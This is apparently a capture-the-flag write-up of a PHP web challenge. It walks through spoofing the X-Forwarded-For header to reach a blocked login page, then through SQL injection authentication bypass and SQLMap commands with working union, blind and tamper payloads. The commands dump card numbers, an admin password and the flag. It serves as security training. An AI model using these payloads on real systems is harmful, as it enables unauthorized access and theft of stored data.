We are presented with a PHP webpage. There is a login.php, but it gives us a 403 Forbidden error. Looking a little deeper into gallery.php shows us that some of the pictures of the devices include internal subnet addresses.

One way that the login page might be filtering requests is by the user's IP address. The X-Forwarded-For header is used for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer.

However, it can also be easily changed by the client. By running a Burp Suite Intruder scan for the request headerX-Forwarded-For: 192.168.3.x, where x is the payload, we see that by setting the X-Forwarded-For header to, we gain access to the login page.

We see a form with username and password fields. Using ' in username parameter leads to the following output:

<h4 style='color: red;' class='text-center'>There is a sql error, Call the administrator!</h4>

We have identified an SQL injection vulnerability. By using the following payload, we can bypass the authentication.

username=test&password=test' or 1=1 LIMIT 1;#

Once logged in as the admin, we have access to a users.php page. This page contains usernames and card numbers.

      <th scope="row">1</th>
      <th scope="row">2</th>
      <th scope="row">3</th>

This page must also be fetching the user information through the database, so we tested for additional SQL injection endpoints.

We found that /users.php?id=1 returns only the data for user ID 1. Fuzzing the input leads us to discover that this is a second SQL injection endpoint. This time, there is a blacklist filter:

<script>alert('Bad character/word ditected!');</script>

Using SQLMap, we get the following injection vectors:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1') AND 5928=5928 AND ('bLIm'='bLIm

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1') AND (SELECT 2847 FROM (SELECT(SLEEP(5)))MMVq) AND ('pklt'='pklt

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1') UNION ALL SELECT NULL,CONCAT(0x7170786a71,0x4a6d4669536b6565767a724d666e776b46517a7853774374787154644d49664b664b565242485172,0x7171787171),NULL,NULL-- -

sqlmap -r get.req --threads 10 --dbms mysql --dump --no-escape --tamper=between dumps the database.

Database: users_data
Table: data
[3 entries]
| id | user  | card_num          | R34L_F14G |
| 1  | melo  | 1457888555215515  | <blank>   |
| 2  | john  | 99888515654864655 | <blank>   |
| 3  | admin | 85551496165161665 | <blank>   |
Database: login_users
Table: users
[1 entry]
| id | password                    | username | created_at          |
| 1  | R34ly_h4rd_p@ssw0rd_t0_f1nd | admin    | 2021-07-13 03:15:21 |

We see that there is a R34L_F14G column, but it is returning us <blank> results. I looked deeper into the SQLMap queries, and found that the following query is used to retrieve the column values.

GET /users.php?id=1%27)%20UNION%20ALL%20SELECT%20NULL,CONCAT(%27qzppq%27,JSON_ARRAYAGG(CONCAT_WS(%27kbxmel%27,card_num)),%27qpbzq%27),NULL,

Replacing card_num with R34L_F14G fails the blacklist filter, so SQLMap was unable to retrieve any results.

Remember login.php from earlier? It did not filter R34L_F14G, but it does have an SQL injection vector too. It was a blind SQL injection, so retrieving information from the database would be time-based and it would have been too slow to dump the entire database.

However, by specifying the specific table and column to dump, we got our results much faster.

sqlmap -u --headers=β€œX-Forwarded-For:” --data β€œpassword=1&username=test” --dbms=mysql --tamper=between -D users_data -T data -C R34L_F14G --dump --where β€œid=3”

This gave us the flag, S3D{G0_De3Per_L1k3_a_pr0_r3d_T3aMEr}.

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